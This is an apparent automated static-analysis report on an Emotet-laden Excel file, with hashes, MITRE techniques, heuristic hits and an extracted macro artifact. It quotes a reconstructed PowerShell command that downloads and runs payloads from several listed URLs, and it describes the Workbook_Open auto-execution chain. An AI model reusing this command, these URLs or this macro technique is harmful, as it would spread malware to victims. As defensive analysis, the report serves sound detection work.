Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 4ce7d066acc59902…

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: 2b263038fbf457321acdc7ac33d10427 SHA-1: 8e70a6ad1911a9d7ab12ca04305014d5ca204b5f SHA-256: 4ce7d066acc59902eba6f0aa50d93192f5c6edd188c0d862d2d629482735795c
280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with a specific Emotet signature. High-severity heuristics indicate the presence of VBA macros, specifically a Workbook_Open auto-execution routine that uses CreateObject to interact with the Windows Script Host. The embedded VBA script contains obfuscated PowerShell commands that attempt to download and execute payloads from multiple URLs. One of the reconstructed PowerShell download commands is: 'wershell -e "http://store.uxdummmit.com/wp-admin/VfgBSQ7Z/,https://glorenentals.com/wp-admin/f1eZeAKGTnS6I/,http://candisele.biminteractive.com/1g94ngo/2n7wJoPuPDEanPcX/,http://bacchileatoropocircles.org/'. The script also attempts to create batch files in \programdata\.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b
vba-macro oletools.olevba.extract_macros (decoded VBA source) 12041 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.